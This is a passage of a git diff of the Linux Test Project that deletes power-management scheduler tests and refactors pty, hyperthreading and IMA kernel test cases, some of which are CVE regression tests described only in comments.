2>/dev/null + return_value=$? + output=$(cat ${test_file}) + if [ "${return_value}" = "0" -a "${input}" = "${output}" ] ; then + echo "${0}: ${PASS}: echo ${input} > ${test_file}" + if [ "${validity_check}" = "invalid" ] ; then + RC=1 + fi + else + echo "${0}: ${FAIL}: echo ${input} > ${test_file}" + if [ "${validity_check}" = "valid" ] ; then + RC=1 + fi + fi + done + return $RC +} + test_timer_migration() { valid_input="0 1" invalid_input="3 4 5 6 7 8 a abcefg x1999 xffff -1 -00000 diff --git a/ltp/testcases/kernel/power_management/runpwtests_exclusive01.sh b/ltp/testcases/kernel/power_management/runpwtests_exclusive01.sh deleted file mode 100755 index f309d7c1..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests_exclusive01.sh +++ /dev/null @@ -1,97 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management_exclusive01" -export TST_TOTAL=2 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -max_sched_mc=2 -max_sched_smt=2 - -tst_require_cmds python3 - -hyper_threaded=$(is_hyper_threaded) -multi_socket=$(is_multi_socket) -multi_core=$(is_multi_core) -if [ $multi_socket -ne 0 -o $multi_core -ne 0 -o \ - $hyper_threaded -ne 0 ]; then - tst_brkm TCONF "System is not a multi socket & multi core" \ - "& hyper-threaded" -fi - -# Test CPU consolidation -RC=0 -for sched_mc in `seq 0 $max_sched_mc`; do - sched_mc_pass_cnt=0 - if [ $sched_mc -eq 2 ]; then - work_load="kernbench" - else - work_load="ebizzy" - fi - for repeat_test in `seq 1 10`; do - #Testcase to validate CPU consolidation for sched_mc - if pm_cpu_consolidation.py -c $sched_mc -w $work_load ; then - : $(( sched_mc_pass_cnt += 1 )) - fi - done - analyze_package_consolidation_result $sched_mc \ - $sched_mc_pass_cnt; RC=$? -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "CPU consolidation test for sched_mc" -else - tst_resm TFAIL "CPU consolidation test for sched_mc" -fi - -RC=0 -for sched_mc in `seq 0 $max_sched_mc`; do - if [ $sched_mc -eq 2 ]; then - work_load="kernbench" - else - work_load="ebizzy" - fi - for sched_smt in `seq 0 $max_sched_smt`; do - sched_mc_smt_pass_cnt=0 - for repeat_test in `seq 1 10`; do - # Testcase to validate CPU consolidation for - # for sched_mc & sched_smt with stress=50% - if pm_cpu_consolidation.py -c $sched_mc -t $sched_smt \ - -w $work_load ; then - : $(( sched_mc_smt_pass_cnt += 1 )) - fi - done - analyze_package_consolidation_result $sched_mc \ - $sched_mc_smt_pass_cnt $sched_smt; RC=$? - done -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "CPU consolidation test for sched_mc &" \ - "sched_smt with stress=50%" -else - tst_resm TFAIL "CPU consolidation test for sched_mc &" \ - "sched_smt with stress=50%" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests_exclusive02.sh b/ltp/testcases/kernel/power_management/runpwtests_exclusive02.sh deleted file mode 100755 index 547e88fe..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests_exclusive02.sh +++ /dev/null @@ -1,68 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management_exclusive02" -export TST_TOTAL=1 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -max_sched_smt=2 - -tst_require_cmds python3 - -hyper_threaded=$(is_hyper_threaded) -multi_socket=$(is_multi_socket) -multi_core=$(is_multi_core) -if [ $hyper_threaded -ne 0 -o $multi_socket -ne 0 \ - -o $multi_core -eq 0 ]; then - tst_brkm TCONF "System is a multi core but not multi" \ - "socket & hyper-threaded" -fi - -#Testcase to validate consolidation at core level -RC=0 -for sched_smt in `seq 0 $max_sched_smt`; do - if [ $sched_smt -eq 2 ]; then - work_load="kernbench" - else - work_load="ebizzy" - fi - sched_smt_pass_cnt=0 - stress="thread" - for repeat_test in `seq 1 10`; do - if pm_cpu_consolidation.py -t $sched_smt -w $work_load \ - -s $stress; then - : $(( sched_smt_pass_cnt += 1 )) - fi - done - analyze_core_consolidation_result $sched_smt \ - $sched_smt_pass_cnt; RC=$? -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "Consolidation test at core level for sched_smt" -else - tst_resm TFAIL "Consolidation test at core level for sched_smt" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests_exclusive03.sh b/ltp/testcases/kernel/power_management/runpwtests_exclusive03.sh deleted file mode 100755 index 67c7243e..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests_exclusive03.sh +++ /dev/null @@ -1,95 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management_exclusive03" -export TST_TOTAL=2 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -max_sched_mc=2 -max_sched_smt=2 - -tst_require_cmds python3 - -hyper_threaded=$(is_hyper_threaded) -multi_socket=$(is_multi_socket) -multi_core=$(is_multi_core) -if [ $multi_socket -ne 0 -o $multi_core -ne 0 -o \ - $hyper_threaded -ne 0 ]; then - tst_brkm TCONF "System is not a multi socket & multi core" \ - "& hyper-threaded" -fi - -# Verify threads consolidation stops when sched_mc &(/) sched_smt -# is disabled. -# Vary sched_mc from 1/2 to 0 when workload is running and -# ensure that tasks do not consolidate to single package when -# sched_mc is set to 0. -RC=0 -for sched_mc in `seq 1 $max_sched_mc`; do - if pm_cpu_consolidation.py -v -c $sched_mc; then - echo "Test PASS: CPU consolidation test by varying" \ - "sched_mc $sched_mc to 0" - else - RC=1 - echo "Test FAIL: CPU consolidation test by varying" \ - "sched_mc $sched_mc to 0" - fi -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "CPU consolidation test by varying sched_mc" -else - tst_resm TFAIL "CPU consolidation test by varying sched_mc" -fi - -# Vary sched_mc & sched_smt from 1 to 0 & 2 to 0 when workload -# is running and ensure that tasks do not consolidate to single -# package when sched_mc is set to 0. -RC=0 -for sched_mc in `seq 1 $max_sched_mc`; do - for sched_smt in `seq 1 $max_sched_smt`; do - if [ $sched_smt -eq $sched_mc ]; then - if pm_cpu_consolidation.py -v -c $sched_mc \ - -t $sched_smt; then - echo "Test PASS: CPU consolidation test by" \ - "varying sched_mc & sched_smt from" \ - "$sched_mc to 0" - else - RC=1 - echo "Test FAIL: CPU consolidation test by" \ - "varying sched_mc & sched_smt from" \ - "$sched_mc to 0" - fi - fi - done -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "CPU consolidation test by varying" \ - "sched_mc & sched_smt" -else - tst_resm TFAIL "CPU consolidation test by varying" \ - "sched_mc & sched_smt" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests_exclusive04.sh b/ltp/testcases/kernel/power_management/runpwtests_exclusive04.sh deleted file mode 100755 index 46985b3b..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests_exclusive04.sh +++ /dev/null @@ -1,58 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management_exclusive04" -export TST_TOTAL=2 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -tst_require_cmds python3 - -hyper_threaded=$(is_hyper_threaded) -multi_socket=$(is_multi_socket) -if [ $hyper_threaded -ne 0 -o $multi_socket -ne 0 ]; then - tst_brkm TCONF "System is not a multi socket & hyper-threaded" -fi - -# Verify threads consolidation stops when sched_smt is -# disabled in HT systems. -# Vary only sched_smt from 1 to 0 when workload is running -# and ensure that tasks do not consolidate to single core -# when sched_smt is set to 0. -if pm_cpu_consolidation.py -v -t 1; then - tst_resm TPASS "CPU consolidation test by varying sched_smt from 1 to 0" -else - tst_resm TFAIL "CPU consolidation test by varying sched_smt from 1 to 0" -fi - -# Vary only sched_smt from 2 to 0 when workload is running -# and ensure that tasks do not consolidate to single core -# when sched_smt is set to 0. -if pm_cpu_consolidation.py -v -t 2; then - tst_resm TPASS "CPU consolidation test by varying sched_smt from 2 to 0" -else - tst_resm TFAIL "CPU consolidation test by varying sched_smt from 2 to 0" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests_exclusive05.sh b/ltp/testcases/kernel/power_management/runpwtests_exclusive05.sh deleted file mode 100755 index 38450d1f..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests_exclusive05.sh +++ /dev/null @@ -1,97 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management_exclusive05" -export TST_TOTAL=2 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -max_sched_mc=2 -max_sched_smt=2 - -tst_require_cmds python3 - -hyper_threaded=$(is_hyper_threaded) -multi_socket=$(is_multi_socket) -multi_core=$(is_multi_core) -if [ $multi_socket -ne 0 -o $multi_core -ne 0 -o \ - $hyper_threaded -ne 0 ]; then - tst_brkm TCONF "System is not a multi socket & multi core" \ - "& hyper-threaded" -fi - -# Verify ILB runs in same package as workload. -RC=0 -for sched_mc in `seq 1 $max_sched_mc`; do - if [ $sched_mc -eq 2 ]; then - work_load="kernbench" - else - work_load="ebizzy" - fi - - pm_ilb_test.py -c $sched_mc -w $work_load - if [ $? -eq 0 ]; then - echo "Test PASS: ILB & workload in same package for" \ - "sched_mc=$sched_mc" - else - RC=1 - echo "Test FAIL: ILB & workload did not run in same package" \ - "for sched_mc=$sched_mc. Ensure CONFIG_NO_HZ is set" - fi -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "ILB & workload test in same package for sched_mc" -else - tst_resm TFAIL "ILB & workload test in same package for sched_mc" -fi - -RC=0 -for sched_mc in `seq 1 $max_sched_mc`; do - if [ $sched_mc -eq 2 ]; then - work_load="kernbench" - else - work_load="ebizzy" - fi - for sched_smt in `seq 1 $max_sched_smt`; do - pm_ilb_test.py -c $sched_mc -t sched_smt -w $work_load - if [ $? -eq 0 ]; then - echo "Test PASS: ILB & workload in same package for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - else - RC=1 - echo "Test FAIL: ILB & workload did not execute in" \ - "same package for sched_mc=$sched_mc &" \ - "sched_smt=$sched_smt. Ensure CONFIG_NO_HZ is set" - fi - done -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "ILB & workload test in same package for" \ - "sched_mc & sched_smt" -else - tst_resm TFAIL "ILB & workload test in same package for" \ - "sched_mc & sched_smt" -fi - -tst_exit diff --git a/ltp/testcases/kernel/pty/hangup01.c b/ltp/testcases/kernel/pty/hangup01.c index a71b4b44..fca61e8a 100644 --- a/ltp/testcases/kernel/pty/hangup01.c +++ b/ltp/testcases/kernel/pty/hangup01.c @@ -32,7 +32,7 @@ /** LTP Port **/ #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "hangup01"; /* Test program identifier. */ int TST_TOTAL = 5; /* Total number of test cases. */ diff --git a/ltp/testcases/kernel/pty/pty02.c b/ltp/testcases/kernel/pty/pty02.c index 4551c4e8..5fe92f0f 100644 --- a/ltp/testcases/kernel/pty/pty02.c +++ b/ltp/testcases/kernel/pty/pty02.c @@ -3,13 +3,15 @@ * Copyright (c) 2018 Google, Inc. */ -/* +/*\ * Regression test for commit 966031f340185 ("n_tty: fix EXTPROC vs ICANON - * interaction with TIOCINQ (aka FIONREAD)"). The test reproduces a hang - * (infinite loop in the kernel) after a pseudoterminal is put in both canonical - * (ICANON) and external processing (EXTPROC) mode, some data is written to the - * master and read from the slave, and the FIONREAD ioctl is called on the - * slave. This is simplified from a syzkaller-generated reproducer. + * interaction with TIOCINQ (aka FIONREAD)") from v4.15. + * + * The test reproduces a hang (infinite loop in the kernel) after a + * pseudoterminal is put in both canonical (ICANON) and external processing + * (EXTPROC) mode, some data is written to the master and read from the slave, + * and the FIONREAD ioctl is called on the slave. Based on a syzkaller-generated + * reproducer. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/pty/pty03.c b/ltp/testcases/kernel/pty/pty03.c index 99c65926..d4da2426 100644 --- a/ltp/testcases/kernel/pty/pty03.c +++ b/ltp/testcases/kernel/pty/pty03.c @@ -146,7 +146,7 @@ static void cleanup(void) static struct tst_test test = { .test = do_test, - .tcnt = 9, + .tcnt = ARRAY_SIZE(ldiscs) - 1, .setup = setup, .cleanup = cleanup, .needs_root = 1, diff --git a/ltp/testcases/kernel/pty/pty04.c b/ltp/testcases/kernel/pty/pty04.c index 20470325..8bd1bfff 100644 --- a/ltp/testcases/kernel/pty/pty04.c +++ b/ltp/testcases/kernel/pty/pty04.c @@ -1,7 +1,9 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 SUSE - * + */ + +/*\ * Test transmitting data over a PTY/TTY line discipline and reading from the * virtual netdev created by the line discipline. Also hangup the PTY while * data is in flight to try to cause a race between the netdev being deleted @@ -10,7 +12,8 @@ * For SLCAN we check stack data is not leaked in the frame padding * (CVE-2020-11494). * - * Test flow: + * [Algorithm] + * * 1. Create PTY with ldisc X which creates netdev Y * 2. Open raw packet socket and bind to netdev Y * 3. Send data on ptmx and read packets from socket @@ -28,6 +31,7 @@ * concerns choosing the best packet size to cause a race. * * Note on line discipline encapsulation formats: + * * - For SLIP frames we just write the data followed by a delimiter char * - SLCAN we write some ASCII described in drivers/net/can/slcan.c which is * converted to the actual frame by the kernel @@ -84,11 +88,12 @@ struct ldisc_info { int n; char *name; int mtu; + int protocol; }; static struct ldisc_info ldiscs[] = { - {N_SLIP, "N_SLIP", 8192}, - {N_SLCAN, "N_SLCAN", CAN_MTU}, + {N_SLIP, "N_SLIP", 8192, ETH_P_IP}, + {N_SLCAN, "N_SLCAN", CAN_MTU, ETH_P_CAN}, }; static int ptmx = -1, pts = -1, sk = -1, mtu, no_check; @@ -282,7 +287,7 @@ static void open_netdev(const struct ldisc_info *ldisc) SAFE_IOCTL(sk, SIOCGIFINDEX, &ifreq); lla.sll_family = PF_PACKET; - lla.sll_protocol = htons(ETH_P_ALL); + lla.sll_protocol = htons(ldisc->protocol); lla.sll_ifindex = ifreq.ifr_ifindex; SAFE_BIND(sk, (struct sockaddr *)&lla, sizeof(struct sockaddr_ll)); diff --git a/ltp/testcases/kernel/pty/pty05.c b/ltp/testcases/kernel/pty/pty05.c index fb76d43b..68e1cd6f 100644 --- a/ltp/testcases/kernel/pty/pty05.c +++ b/ltp/testcases/kernel/pty/pty05.c @@ -3,17 +3,12 @@ * Copyright (c) 2020 SUSE LLC <mdoucha@suse.cz> */ -/* +/*\ * CVE-2017-2636 * * Check for race between flush_tx_queue() and n_hdlc_send_frames(). Kernel - * crash fixed in: - * - * commit 82f2341c94d270421f383641b7cd670e474db56b - * Author: Alexander Popov <alex.popov@linux.com> - * Date: Tue Feb 28 19:54:40 2017 +0300 - * - * tty: n_hdlc: get rid of racy n_hdlc.tbuf + * crash fixed in v4.11: + * 82f2341c94d27 ("tty: n_hdlc: get rid of racy n_hdlc.tbuf") */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c b/ltp/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c index 18f0862c..38c1ba77 100644 --- a/ltp/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c +++ b/ltp/testcases/kernel/sched/hyperthreading/ht_affinity/ht_utils.c @@ -6,7 +6,7 @@ #include <alloca.h> #include <string.h> #include <linux/unistd.h> -#include "ltp_cpuid.h" +#include "tso_cpuid.h" #define PROC_PATH "/proc" #define BUFF_SIZE 8192 diff --git a/ltp/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c b/ltp/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c index 7644e352..772cb3c9 100644 --- a/ltp/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c +++ b/ltp/testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c @@ -6,7 +6,7 @@ #include <alloca.h> #include <string.h> #include <linux/unistd.h> -#include "ltp_cpuid.h" +#include "tso_cpuid.h" #define PROC_PATH "/proc" #define BUFF_SIZE 8192 diff --git a/ltp/testcases/kernel/security/aslr/aslr01.c b/ltp/testcases/kernel/security/aslr/aslr01.c index 6a396e29..e6feb2d3 100644 --- a/ltp/testcases/kernel/security/aslr/aslr01.c +++ b/ltp/testcases/kernel/security/aslr/aslr01.c @@ -277,8 +277,8 @@ static struct tst_test test = { "CONFIG_HAVE_ARCH_MMAP_RND_BITS=y", NULL }, - .needs_cmds = (const char *[]) { - "ldd", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "ldd"}, + {} }, }; diff --git a/ltp/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c b/ltp/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c index 2a982347..9c60fbfa 100644 --- a/ltp/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c +++ b/ltp/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c @@ -128,21 +128,8 @@ static void setup_uffd(void) { struct uffdio_register uffdio_register; struct uffdio_api uffdio_api; - int flags = O_CLOEXEC | O_NONBLOCK; -retry: - TEST(tst_syscall(__NR_userfaultfd, flags)); - if (TST_RET < 0) { - if (TST_ERR == EPERM) { - if (!(flags & UFFD_USER_MODE_ONLY)) { - flags |= UFFD_USER_MODE_ONLY; - goto retry; - } - } - tst_brk(TBROK | TTERRNO, - "Could not create userfault file descriptor"); - } - uffd = TST_RET; + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, true); uffdio_api.api = UFFD_API; uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM; diff --git a/ltp/testcases/kernel/security/filecaps/filecaps_common.h b/ltp/testcases/kernel/security/filecaps/filecaps_common.h index 0f011868..dfd9ddb7 100644 --- a/ltp/testcases/kernel/security/filecaps/filecaps_common.h +++ b/ltp/testcases/kernel/security/filecaps/filecaps_common.h @@ -1,6 +1,6 @@ #include <limits.h> #include <stdlib.h> -#include <old_tmpdir.h> +#include "tso_tmpdir.h" static char *fifofile; diff --git a/ltp/testcases/kernel/security/integrity/ima/src/ima_mmap.c b/ltp/testcases/kernel/security/integrity/ima/src/ima_mmap.c index 8596809e..1861147f 100644 --- a/ltp/testcases/kernel/security/integrity/ima/src/ima_mmap.c +++ b/ltp/testcases/kernel/security/integrity/ima/src/ima_mmap.c @@ -7,45 +7,30 @@ * Mimi Zohar <zohar@us.ibm.com> */ +#define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#define SLEEP_AFTER_CLOSE 3 #define MMAPSIZE 1024 -static char *filename; -static void *file; -static int fd; - -static void cleanup(void) +int main(int argc, char *argv[]) { - if (file) - SAFE_MUNMAP(file, MMAPSIZE); - - if (fd > 0) - SAFE_CLOSE(fd); -} + int fd; + void *file; -static void run(void) -{ - if (!filename) - tst_brk(TBROK, "missing filename (-f filename)"); + tst_reinit(); - fd = SAFE_OPEN(filename, O_CREAT | O_RDWR, S_IRWXU); + if (argc != 2) + tst_brk(TBROK, "usage: ima_mmap <filename>"); + fd = SAFE_OPEN(argv[1], O_CREAT | O_RDWR, S_IRWXU); file = SAFE_MMAP(NULL, MMAPSIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); SAFE_CLOSE(fd); - tst_res(TINFO, "sleep %ds", SLEEP_AFTER_CLOSE); - sleep(SLEEP_AFTER_CLOSE); + /* Waiting until ima_violations.sh open and close file */ + TST_CHECKPOINT_WAKE_AND_WAIT(0); + SAFE_MUNMAP(file, MMAPSIZE); tst_res(TPASS, "test completed"); -} -static struct tst_test test = { - .options = (struct tst_option[]) { - {"f:", &filename, "File to mmap"}, - {} - }, - .test_all = run, - .cleanup = cleanup, -}; + return 0; +} diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh index 91256168..7dd37373 100755 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh +++ b/ltp/testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh @@ -9,65 +9,81 @@ # gid and fgroup options test kernel commit 40224c41661b ("ima: add gid # support") from v5.16. -TST_NEEDS_CMDS="cat chgrp chown id sg sudo" +TST_NEEDS_CMDS="cat chgrp chown" TST_SETUP="setup" -TST_CNT=1 +TST_OPTS="r:" +TST_USAGE="usage" +TST_PARSE_ARGS="parse_args" +REQUEST="uid" + +parse_args() +{ + REQUEST="$2" +} + +usage() +{ + cat << EOF +usage: $0 [-r <uid|fowner|gid|fgroup>] + +OPTIONS +-r Specify the request to be measured. One of: + uid, fowner, gid, fgroup + Default: uid +EOF +} setup() { + case "$REQUEST" in + fgroup|fowner|gid|uid) + tst_res TINFO "request '$REQUEST'" + ;; + *) tst_brk TBROK "Invalid -r '$REQUEST', use: -r <uid|fowner|gid|fgroup>";; + esac + if check_need_signed_policy; then tst_brk TCONF "policy have to be signed" fi } -verify_measurement() +test() { + # needs to be checked each run (not in setup) + require_policy_writable + local request="$1" - local user="nobody" local test_file="$PWD/test.txt" local cmd="cat $test_file > /dev/null" + local value="$TST_USR_UID" - local value="$(id -u $user)" - [ "$request" = 'gid' -o "$request" = 'fgroup' ] && value="$(id -g $user)" - - # needs to be checked each run (not in setup) - require_policy_writable + if [ "$REQUEST" = 'gid' -o "$REQUEST" = 'fgroup' ]; then + if tst_kvcmp -lt 5.16; then + tst_brk TCONF "gid and fgroup options require kernel 5.16 or newer" + fi + value="$TST_USR_GID" + fi ROD rm -f $test_file - tst_res TINFO "verify measuring user files when requested via $request" - ROD echo "measure $request=$value" \> $IMA_POLICY - ROD echo "$(cat /proc/uptime) $request test" \> $test_file + tst_res TINFO "verify measuring user files when requested via $REQUEST" + ROD echo "measure $REQUEST=$value" \> $IMA_POLICY + ROD echo "$(cat /proc/uptime) $REQUEST test" \> $test_file - case "$request" in + case "$REQUEST" in fgroup) - chgrp $user $test_file + chgrp $TST_USR_GID $test_file sh -c "$cmd" ;; fowner) - chown $user $test_file + chown $TST_USR_UID $test_file sh -c "$cmd" ;; - gid) sudo sg $user "sh -c '$cmd'";; - uid) sudo -n -u $user sh -c "$cmd";; - *) tst_brk TBROK "Invalid res type '$1'";; + gid|uid) tst_runas sh -c "$cmd";; esac ima_check $test_file } -test1() -{ - verify_measurement uid - verify_measurement fowner - - if tst_kvcmp -lt 5.16; then - tst_brk TCONF "gid and fgroup options require kernel 5.16 or newer" - fi - - verify_measurement gid - verify_measurement fgroup -} - . ima_setup.sh tst_run diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh index d6eb0829..bbc82f30 100755 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh +++ b/ltp/testcases/kernel/security/integrity/ima/tests/ima_kexec.sh @@ -6,15 +6,17 @@ # # Verify that kexec cmdline is measured correctly. # Test attempts to kexec the existing running kernel image. +# # To kexec a different kernel image export IMA_KEXEC_IMAGE=<pathname>. # Test requires example IMA policy loadable with LTP_IMA_LOAD_POLICY=1. +# +# Test requires CONFIG_HAVE_IMA_KEXEC=y (CONFIG_IMA_KEXEC is not mandatory). TST_NEEDS_CMDS="grep kexec sed" TST_CNT=3 TST_SETUP="setup" TST_MIN_KVER="5.3" -IMA_KEXEC_IMAGE="${IMA_KEXEC_IMAGE:-/boot/vmlinuz-$(uname -r)}" REQUIRED_POLICY_CONTENT='kexec.policy' measure() @@ -22,7 +24,7 @@ measure() local cmdline="$1" local algorithm digest expected_digest found - printf "$cmdline" > file1 + printf "%s" "$cmdline" > file1 grep "kexec-cmdline" $ASCII_MEASUREMENTS > file2 while read found @@ -42,9 +44,10 @@ measure() setup() { - local arch + local arch f uname - if [ ! -f "$IMA_KEXEC_IMAGE" ]; then + # detect kernel from BOOT_IMAGE in /proc/cmdline + if [ ! -f "$IMA_KEXEC_IMAGE" ] && grep -q '^BOOT_IMAGE' /proc/cmdline; then for arg in $(cat /proc/cmdline); do if echo "$arg" |grep -q '^BOOT_IMAGE'; then eval "$arg" @@ -63,6 +66,31 @@ setup() fi fi + # detect kernel in /boot + if [ ! -f "$IMA_KEXEC_IMAGE" ]; then + uname="$(uname -r)" + + for f in \ + /boot/vmlinuz-$uname \ + /boot/vmlinux-$uname \ + /boot/Image-$uname \ + /boot/image-$uname \ + ; do + if [ -f "$f" ]; then + break + fi + done + + # aarch64 often uses compression + if [ ! -f "$f" ]; then + f="$(ls /boot/Image-$uname.* || true)" + fi + + if [ -f "$f" ]; then + IMA_KEXEC_IMAGE="$f" + fi + fi + if [ ! -f "$IMA_KEXEC_IMAGE" ]; then tst_brk TCONF "kernel image not found, specify path in \$IMA_KEXEC_IMAGE" fi diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh index 60350f39..cf35e131 100755 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh +++ b/ltp/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh @@ -68,30 +68,23 @@ test2() test3() { - local user="nobody" local dir="$PWD/user" local file="$dir/test.txt" local cmd="grep $file $ASCII_MEASUREMENTS" # Default policy does not measure user files tst_res TINFO "verify not measuring user files" - tst_check_cmds sudo || return if [ "$IMA_MISSING_POLICY_CONTENT" = 1 ]; then tst_res TCONF "test requires specific policy, try load it with LTP_IMA_LOAD_POLICY=1" return fi - if ! id $user >/dev/null 2>/dev/null; then - tst_res TCONF "missing system user $user (wrong installation)" - return - fi - [ -d "$dir" ] || mkdir -m 0700 $dir - chown $user $dir + chown $TST_USR_UID $dir cd $dir # need to read file to get updated $ASCII_MEASUREMENTS - sudo -n -u $user sh -c "echo $(cat /proc/uptime) user file > $file; cat $file > /dev/null" + tst_runas sh -c "echo $(cat /proc/uptime) user file > $file; cat $file > /dev/null" cd .. if ! tst_rod "$cmd" 2> /dev/null; then diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh index 1a0de21e..e64a7739 100755 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh +++ b/ltp/testcases/kernel/security/integrity/ima/tests/ima_selinux.sh @@ -18,13 +18,12 @@ TST_SETUP="setup" TST_MIN_KVER="5.12" REQUIRED_POLICY_CONTENT='selinux.policy' +REQUIRED_BUILTIN_POLICY='critical_data' setup() { SELINUX_DIR=$(tst_get_selinux_dir) [ "$SELINUX_DIR" ] || tst_brk TCONF "SELinux is not enabled" - - require_ima_policy_cmdline "critical_data" } # Format of the measured SELinux state data. diff --git a/ltp/testcases/kernel/security/integrity/ima/tests/ima_setup.sh b/ltp/testcases/kernel/security/integrity/ima/tests/ima_setup.sh index 2a7d6518..b69d7c31 100644 --- a/ltp/testcases/kernel/security/integrity/ima/tests/ima_setup.sh +++ 